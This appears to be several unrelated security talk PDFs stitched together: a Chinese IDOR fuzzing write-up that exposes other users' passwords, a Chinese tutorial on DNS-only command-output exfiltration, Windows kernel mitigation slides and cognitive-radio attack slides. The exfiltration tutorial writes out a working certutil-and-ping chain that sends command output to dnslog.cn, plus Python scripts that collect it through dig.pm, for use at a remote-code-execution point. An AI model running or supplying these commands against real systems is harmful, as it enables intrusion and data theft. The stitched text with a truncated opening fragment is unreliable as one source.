(various DC19 & DC20), hackerphotos.com (various DC20), Thomas Hawk (Walgreens), Nicola (drugstore)
pdf
Fuzz 大法之挖掘潜在的逻辑越权 Author:Vulkey_Chen Blog:gh0st.cn 小密圈:Web 安全 SzS 对一个网站做测试的时候发现了这样一条请求: 这条请求返回的信息是个人信息(用户 ID、手机号、密码) {"responseData":{"userid":"用户 id","login":"用户名","password":"密码","mobilenum":"手机号 ","mobileisbound":"01","email":null}} 一开始的想法是变为 GET 请求(可行),然后增加 JSONP 劫持的回调参数。。。(失败) 之前也有人问我怎么去做参数字典的收集: A. 注意网站参数的命名方式 大写、英文 B. 返回变参数(注意值都为 B 用户 也就是你需要准备两个用户) 上面所述的返回信息中包含了很多“参数”,可生成如下: userid=B 用户 id login=B 用户名 password=B 用户密码 mobilenum=B 用户手机号 email=B 用户邮箱 C. 整合 A 规则+B 收集=C 整合 最后变成如下的字典: USERID=B 用户 id LOGIN=B 用户名 PASSWORD=B 用户密码 MOBILENUM=B 用户手机号 EMAIL=B 用户邮箱 然后 Burp Intruder 模块开启,导入字典(这里将参数设在 POST 请求正文),Start Fuzz: 测试结果发现使用 LOGIN 参数可以成功的从 A 用户的个人信息越权获取到 B 用户的个人信 息~
pdf
Windows下DNS出⽹的命令回显技巧.md 2022/6/30 1 / 9 Windows下DNS出⽹的命令回显技巧 最近遇⻅了很多仅DNS出⽹的极限环境,简单研究了个还算通⽤的利⽤DNSLog的回显Trick,全当抛砖引 ⽟,不喜勿喷。 0x00 前⾔ 在实战中,命令执⾏总能遇⻅各种各样的环境,⽆回显且仅DNS出⽹的环境也能占个⼤多数。仅DNS出⽹的 环境⼀般利⽤编码+DNSLog就可以解决回显问题。 通⽤指的是在server2003(⽆powershell)环境也能⽤。 windows⾃带的encode只有certutil Windows下DNS出⽹的命令回显技巧.md 2022/6/30 2 / 9 certutil⾃带了base64和hex两种encode⽅法 0x01 base64-encode存在的问题 特殊字符。+,/ (⽆powershell环境处理替换⾮常麻烦) 单⾏⻓度。dns域名⻓度限制63个。certutil-encode后单⾏字符⻓度为64,需要将⼀⾏分割为两段带 出。(⽆powershell需要cmdshell套⽤循环操作,⼗分繁琐) 云服务器DNS问题 Windows下DNS出⽹的命令回显技巧.md 2022/6/30 3 / 9 腾讯云的DNS服务器存在强转⼩写问题,⼿头没阿⾥服务器,不过测试了阿⾥的DNS(223.5.5.5)也存在 ⼀样的问题。 以上原因在我研究的时候,最终放弃了base64-encode的⽅案。(尤其是最后⼀条强转⼩写的问题) 0x02 hex-encode⽅案 先看encode结果。 对⽐base64的,主要优点: ⽆特殊字符。 单⾏⻓度为32字符。 ⽆需考虑⼤⼩写。 ⽆需考虑不同条数数据外带存在延时。(外带记录会带出前4位表示数据位置的字符:0000) 但是⼀次dns只能带出来16个字符回显,效率有点低。 Windows下DNS出⽹的命令回显技巧.md 2022/6/30 4 / 9 接下来只需要利⽤cmdshell语法,将中间的字符取出来即可。 for /f "tokens=1-17" %a in (result.txt) do echo %a%b%c%d%e%f%g%h%i%j%k%l%m%n%o%p%q 在encode的最后⼀⾏可能因为字符不⾜导致存在特殊字符: 在写⼊的命令txt后追加部分字符后再encode即可解决此问题。 just like: ipconfig > ipconfig &&echo 11111111111>>ipconfig 最后⼀⾏DNSLog记录会以0d0a3131结尾,很容易判断了。 最终命令: command > command &&echo 11111111111>>command && certutil -encodehex command command.txt && for /f "tokens=1-17" %a in (command.txt) do start /b ping -nc 1 %a%b%c%d%e%f%g%h%i%j%k%l%m%n%o%p%q.command.dnslog.cn && del command && del command.txt 0x03 ⾃动化⻝⽤ 因为外带的数据条数实在太⼤,就顺便⾃动化下。 ⼀个⽣成命令,另⼀个脚本⽤来监听dnslog平台并做格式化输出 CommandGen.py Windows下DNS出⽹的命令回显技巧.md 2022/6/30 5 / 9 import sys commandTem = r'command > command7 &&echo 11111111111>>command7 && certutil -encodehex command7 command7.txt && for /f "tokens=1-17" %a in (command7.txt) do start /b ping -nc 1 %a%b%c%d%e%f%g%h%i%j%k%l%m%n%o%p%q.command.{0} && del command7 && del command7.txt' with open('config617', 'r') as f: command = commandTem.format(f.readlines()[0]) if __name__ == '__main__': if len(sys.argv)<2: print('usage: python3 CommandGen.py Yourcommand No(start)') print('like: python3 CommandGen.py whoami (Command will use "start".Start will Send a large number of requests in a short period of time, resulting in lost DNSLog record)') print('like: python3 CommandGen.py whoami no (Will No start)') sys.exit(0) if len(sys.argv) == 2: print(command.replace('command',sys.argv[1])) else: print(command.replace('command',sys.argv[1]).replace('start /b','')) hexDnsEcho.py import time import requests import json import binascii requestTime = 6 # DNSLog platform interval per request commandHex = {} # initialize the configuration def get_new_config(): global domain,token,lastFinishTime,commandStartPos,commandEndPos,lastRecordLen,fi nishOnce url = 'http://dig.pm/new_gen' data = { 'domain' : 'dns.1433.eu.org.' } dataResult = json.loads(requests.post(url, data=data).text) domain = dataResult['domain'] token = dataResult['token'] with open('config617','w') as f: f.write(dataResult['domain']) lastFinishTime = time.strftime("%Y-%m-%d %X", time.localtime()) # record last finish time commandStartPos = 0 Windows下DNS出⽹的命令回显技巧.md 2022/6/30 6 / 9 commandEndPos = 0 lastRecordLen = 0 finishOnce = False # get DNSLog data def get_dnslogdata() -> list: if commandStartPos and commandEndFlag: commandHex[commandName].extend([result[length-1][1]['subdomain'] for length in range(len(result),commandStartPos,-1) if result[length-1][1] ['subdomain'].count('.') == 7]) # Get the command part of the DNSLog data tempList = [] for length in range(commandStartPos,-1,-1): if result[length-1][1]['time'] < lastFinishTime:break if result[length-1][1]['subdomain'].count('.') == 7: tempList.append(result[length-1][1]['subdomain']) commandHex[commandName].extend(tempList) return commandHex[commandName] # deal with DNSlog data, Format the output def deal_data(data: list): global finishOnce if commandStartPos and commandEndFlag: for length in range(commandStartPos,-1,-1): if result[length-1][1]['time'] < lastFinishTime:break if result[length-1][1]['subdomain'].count('.') == 7: commandHex[commandName].append(result[length-1][1] ['subdomain']) try: hexCommand = { item[:4] : item[4:] for item in commandHex[commandName] } hexCommand = sorted(hexCommand.items(), key=lambda x: int(x[0], 16)) hexCommand = [ item[1][:32] for item in hexCommand] except: print('!!!!Error Command format! Try to find DNSLog site(http://dig.pm/get_results) to get conntent..') pass hexCommand[-1] = ''.join(hexCommand[-1].split('0d0a')[:-1]) commandResult = ''.join(hexCommand) #print(commandResult) print('\n----Command Result----') Head = '\033[36m' End = '\033[0m' try: print(Head + binascii.a2b_hex(commandResult).decode('gb2312') + End) Windows下DNS出⽹的命令回显技巧.md 2022/6/30 7 / 9 except: print('Maybe use START to execute commands and cause DNSLog records to be lost..\nIt is recommended to remove START from the command') print('----Get Result End!----') finishOnce = True if __name__ == '__main__': get_new_config() while True: if finishOnce: get_new_config() for i in range(requestTime,-1,-1): print('\r', 'Wait DNSLog data: {}s...'.format(str(i)), end='') time.sleep(1) try: data = { 'domain':domain, 'token':token } url = 'http://dig.pm/get_results' #proxies = { 'http':'http://127.0.0.1:8080' } result = json.loads(requests.post(url, data=data, proxies=False).text) result = sorted(result.items(), key=lambda x: int(x[0])) except: print('\r', 'Not Find DNSLog Result!', end='') continue commandStartFlag = 1 if lastRecordLen == len(result) else 0 lastRecordLen = len(result) commandEndFlag = 1 if commandEndPos == len(result) else 0 commandEndPos = len(result) if not commandStartPos and ((result[-1][1] ['subdomain'].count('.')) == 7 or commandStartFlag): # judge if the DNSLog recording is start if result[-1][1]['time'] < lastFinishTime: print('\r', 'Not Find DNSLog Result!', end='') continue commandStartPos = len(result) commandName = result[-1][1]['subdomain'].split('.')[1] print('\nFinding Command Record!') print('----Command: \033[36m{}\033[0m---- '.format(commandName)) commandHex[commandName] = [] print('Waiting Command DNSLog Record Finish...') if commandStartPos and ((result[-1][1]['subdomain'].count('.')) != 7 or commandEndFlag): # judge if the DNSLog recording is over commandEndFlag = 1 #print('Command DNSLog Record Finish...') Windows下DNS出⽹的命令回显技巧.md 2022/6/30 8 / 9 ⽤法: 先运⾏hexDnsEcho.py,然后运⾏CommandGen.py⽣成命令,将⽣成的命令填写进⼊RCE点即可。 最终效果 dataList = get_dnslogdata() deal_data(dataList) Windows下DNS出⽹的命令回显技巧.md 2022/6/30 9 / 9 0x04 后续 研究这个trick还是花了⼏天时间的,主要是windows的cmd的实现的操作实在是有限,爬了好⼏天的论坛, 要是有师傅们有更好的⽅法和思路可以再研究交流⼀波。 本⽂全当抛砖引⽟,代码也是随⼿写的,质量不⾼,不喜勿喷,有问题也欢迎各位师傅指出。 最后吐槽⼀下我⽤的这个DNSLog平台的逆天排序 参考链接:http://www.bathome.net
pdf
Security Research over Windows [ kernel ] Draft v.1.1 $whoami • @zer0mem ~ Peter Hlavaty • Senior Security Researcher at KeenLab, Tencent • MSRC100, pwn2own • Focus : kernel / hyperv / mitigations • sometimes talk somewhere .. • wushu player +- ☺ Sandbox • Restrict resources of target ( process ) • #syscalls • file system • registry • inter-process interaction • Different integrity levels • Untrusted • App Container • Low • Medium, .. sandbox attack surface +- IPC ~ Broker vs worker Windows ~ kernel syscalls RPC ~ inter process communication 3rd elements ~ Windows Defender ( AV in general ) Windows kernel ~ attack surface w32k ntoskrnl tm, afd, .. w32k attack surface hardening 4 years ago • Fonts • TTF emulation in kernel • Loading custom fonts • GDI • 6+ different kernel objects • *huge* source of UAF, overflows, … • EMF – *remote* • User • User mode callbacks machinery now • Fonts • TTF emulation in kernel user mode • Sandboxes low priv proc for custom • GDI -> restricted/no mode • 6+ different kernel objects • *huge* source of UAF, overflows, … • EMF – *remote* -> disabled by def • User -> restricted/no mode • User mode callbacks machinery w32k exploitation hardening • Restricted resources for exploitation • No resources if DisableW32kSystemCalls flag on ☺ • Type isolation • Tactical mitigations, f.e. tagWnd • bugs-- • Refactored w32k ( win32k -> win32kfull + win32kbase ) • this also left/brings lot of bugs, but showing importance of cleaning up mess • Security researchers community support ( msrc100, insider bounties, .. ) • Internal fuzzing++ ? w32k still alive • DirectX • w32k – user callbacks • Small parts of GDI + DComposition • New syscalls keep added in new builds • ~ no w32k in your target ? • w32k is somehow essential of GUI app • Bridge from your target to part of app which have access • Perhaps you can attack another part of app with w32k on ? ntos attack surface • TM + CLFS • ‘hidden syscalls’ • CLFS : Lockdown for sandboxed processes! • Well finally, heavy parsing in kernel mode.. • Without CLFS backup it is very simple logic • However nice connections ~ Manager + Transaction + Enlistment + Resource • (A)LPC, Pipe, Sockets, Registry hives • Good amount of logic there • In SDL quite some time, crucial part of windows kernel! • Memory management, Sync, .. • + : lots of syscalls! • - : logic you can alter is way too simplistic RPC – user processes • Any process has opened ALPC port • Everybody needs to have opened port at least to csrss.exe ! • Mostly ‘unknown’ area ~ previously little researched • https://hakril.net/slides/A_view_into_ALPC_RPC_pacsec_2017.pdf • NtAlpc* ~ undocumented • COM using ALPC at the background • C++ inter-process interface Native code exec But, OK .. you got a bug, what’s next ? Mitigations on the rise • Past years Windows invest heavily into breaking attack surface and techniques ! • Guards : • (k)CFG • HVCI • VBS • ACG • CIG • Jit OoP • .. w32k + clfs lockdown + filter ntoskrnl filter via ACL Mitigation against native code exec Type Isolation Tactical mitigation ..G, ..G, ..G .. wut ? • Lots of guards in windows ;) • Must read : • https://cansecwest.com/slides/2017/CSW2017_Weston- Miller_Mitigating_Native_Remote_Code_Execution.pdf • https://github.com/Microsoft/MSRC-Security- Research/blob/master/presentations/2018_02_OffensiveCon/The%20Evolution%20 of%20CFI%20Attacks%20and%20Defenses.pdf • How those are enabled for sandboxing : • SetProcessMitigationPolicy • PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY of UpdateProcThreadAttribute CFG • _guard_check_icall • More about CFG : • https://blog.trendmicro.com/trendlabs-security-intelligence/exploring-control-flow-guard-in-windows-10/ • This is nice article : • https://www.endgame.com/blog/technical-blog/disarming-control-flow-guard-using-advanced-code-reuse-attacks • Covering also mini COOP ;) – check that out RFG ~ pulled down, but CET ( check CET! ) • 2 stacks : Control + Data • Control stack no pointer in user mode • It is OK to be write-able ~ therefore with write primitive you can write there • But problem : how to find it ? => no leaks == no way ? • At each function prolog store return address also to Control stack • At each function epilogue check if ControlStack[rsp]==DataStack[rsp] • Aka return address match • BRILIANT IDEA + DESIGN = no compatibility issues, can plug it right now! • Only 5 instruction per function! • Key Problems : • Race condition -> could be done in stable way • Secret based ~ what if is possible to reveal address of control stack without pointer leak ? RFG ~ explain in two slides with graphs CIG + ACG + Jit OoP : In short • Code Integrity (CIG) ~ only signed images can be loaded • Ok but we can do RWX + shellcode ☺ • Arbitrary code guard (ACG) -> no you can not .. • No RWX page same time! • X pages -> in fact you can not VirtualProtect to Exec* anymore • JIT : but I need it! • Nope … nope .. nope • Process can not have RWX pages nor from Data page make Code page • Therefore only different process can do it for you • Browser : Jit Process -> Worker process Type Isolation • Important exploit primitives consists : • Structure with control and data parts • Control : pointers, sizes • Data : controlled data by user • Outcome : • Data or size overflow lead to full compromise of domain • Mitigation : • Separate Control & Data part of structure to two different places • Crucial : data should not reach control part ~ page guards / different pools Tactical mitigation • prevalent methodology of misusing object for arbitrary read / write • Start with limited read/write • Boost it to full read/write to domain • Usually pivot-worker schema • Tactical mitigation == Break particular techniques, one by one! • How : Introduce safe – checks • Buffer ranges • Pool limitation • Outcome : need to chain *limited* read/write primitives • Crucial : • safe boundaries must not be reachable by our limited write • broken for tagWnd ~ check this nice references : https://github.com/MortenSchenk/tagWnd-Hardening-Bypass/blob/master/tagWnd/tagWnd/tagWnd.cpp https://improsec.com/blog/hardening-windows-10-with-zero-day-exploit-mitigations-under-the-microscope Therefore.. • Theory • No W^X memory anymore • No Arbitrary modules • No @rip hijack • No return address hijack • No Overflows ( buffer or size/counters ) exploitable • No/Limited Read/Write primitive • Practice • Not there yet, most of those bypassable by design limitations • However showing interesting shift towards security, does not it ? • especially memory corruptions Sandbox++ When kernel is not a boundary virtualization • HyperV technology • VM machine • Well Security designed! • Legacy striped • (relatively) small ( + heavily audited ) attack surface • Mitigations applied • WDAG applying HyperV technologies • Another layer of sandbox introduced for edge • And not only for edge! https://cloudblogs.microsoft.com/microsoftsecure/2018/04/19/introducing-windows-defender-system-guard- runtime-attestation/ vmwp overview • What ? • User mode process on host side responsible for running guest-partition • Minimum legacy • IO devices • No complex structures ( in IO ) • Minimal interaction ( no Drag&Drop, basic session by default, .. ) • Generation2 way to go, however Generation1 still default • Clean design • All mitigations • Sandboxed! • pwn vmwp complexity ~ remote pwn Successful attack in the future (?) Get a bug in remote target ( browser, .. ) Get RCE or COOP-ish style control Escape sandbox Get bug in kernel Bypass proc restrictions or get RCE (coop-ish style is OK) Get a bug in virtualization Bypass mitigations in virtualization target pwn Bug is just the start line But even though .. how to ? How to approach • Understanding of attack surface • Windows landscape • Understanding of target • Reverse engineering & internals • Make use of technologies : • IntelPt (+ QemuPt) • windbg + TTD • Qemu + KVM • Hypervisors ( tooling + automatization ) • BochsPwn reloaded / DigTool alike approaches • Make use ( and proper understanding ) of “state of the art” tools • syzkaller • (k)AFL • .. then make your own patches / tools / plugins Fuzzing vs Eye-balling • Fuzzing : • Easy to make dummy fuzzer • Easy to overengineer fuzzer and kill its randomness • Eyes : • You can easily miss trivial bugs • Hard to comprehend complex logic • Why not combine both ? • Make random-enough fuzzing • Inject ( to fuzzer ) knowledge from auditing-code • Use fuzzer to check some complex logic for you + automate it! RCE • RCE is not all about browsers! • Microsoft Office • SMB • SMB v1 non default ~ big attack surface • non auth attack vector seems finally heavily audited ? • Most modern apps connect over internet • Skype, Slack, games, .. ? Other windows cool targets ~ kernel • Sockets • UoW ( ubuntu on windows ~ WSL ) • SMB (v1, v2, v3) • HyperV ( user, kernel, hypervisor ) • VhdParser • RDP • .. .sys ? UEFI ?
pdf
Hacking Wireless Networks of the Future: Security in Cognitive Radio Networks Hunter Scott / August 3, 2013 Radio + Software Defined Radio Cognitive Radio + Cognitive Radio Network Cognitive Engine Center Frequency Bandwidth Transmit power Type of modulation Coding rate Channel access protocol Encryption algorithm Frame size Attacks specific to cognitive radio networks Change cognitive messages being sent through network Change cognitive messages being sent through network Incumbent on channel 6 Incumbent on channel 6 Change cognitive messages being sent through network Incumbent on channel 1 Change cognitive messages being sent through network Incumbent on channel 1 Change cognitive messages being sent through network Recalculating… Change cognitive messages being sent through network Routing Disruption Sybil Attack Sybil Attack Sybil Attack Sybil Attack Priority Attack > Attacks on Crypto VS Attacks on Data Privacy Primary User Emulation Primary User Emulation Primary User Emulation Primary user on channel 4 Primary user on channel 4 Primary user on channel 4 Primary user on channel 4 Primary User Emulation Primary user on channel 4 Primary User Emulation Recalculating… Countermeasures Cooperative Intrusion Detection Device Reputation Device Location Why this matters Tools Level 30 MHz to 4.4 GHz 60 mW SimpliciTI Fits Arduino shields ~$100 in quantity MyriadRF ($300) Other tools HackRF ($300) Michael Ossmann Azio BladeRF ($420) Nuand What’s next Latest version of these slides + code & schematics: defcon21.hscott.net Image Credits: Radio designed by Monika Ciapala from The Noun Project Radio Tower designed by iconoci from The Noun Project Brain designed by Samuel Dion-Girardeau from The Noun Project Person designed by Björn Andersson from The Noun Project Plant designed by Luke Anthony Firth from The Noun Project Lock from The Noun Project Speedometer designed by Volodin Anton from The Noun Project Location designed by Ricardo Moreira from The Noun Project Further Reading: FCC. In the matter of unlicensed operation in the TV broadcast bands: second report and order and memorandum opinion and order., Nov. 2008. Fadlullah, Zubair Md, et al. "An Intrusion Detection System (IDS) for Combating Attacks Against Cognitive Radio Networks." IEEE Network (2013): 52. Jackson, David. "Exploiting Rogue Signals to Attack Trust-based Cooperative Spectrum Sensing in Cognitive Radio Networks." (2013). Du, Jiang, Chunjiao Zhu, and Zhaohui Chen. "Security issues in cooperative spectrum sensing for cognitive radio network." 2012 International Conference on Graphic and Image Processing. International Society for Optics and Photonics, 2013. For even more readings, see the references of these papers.
pdf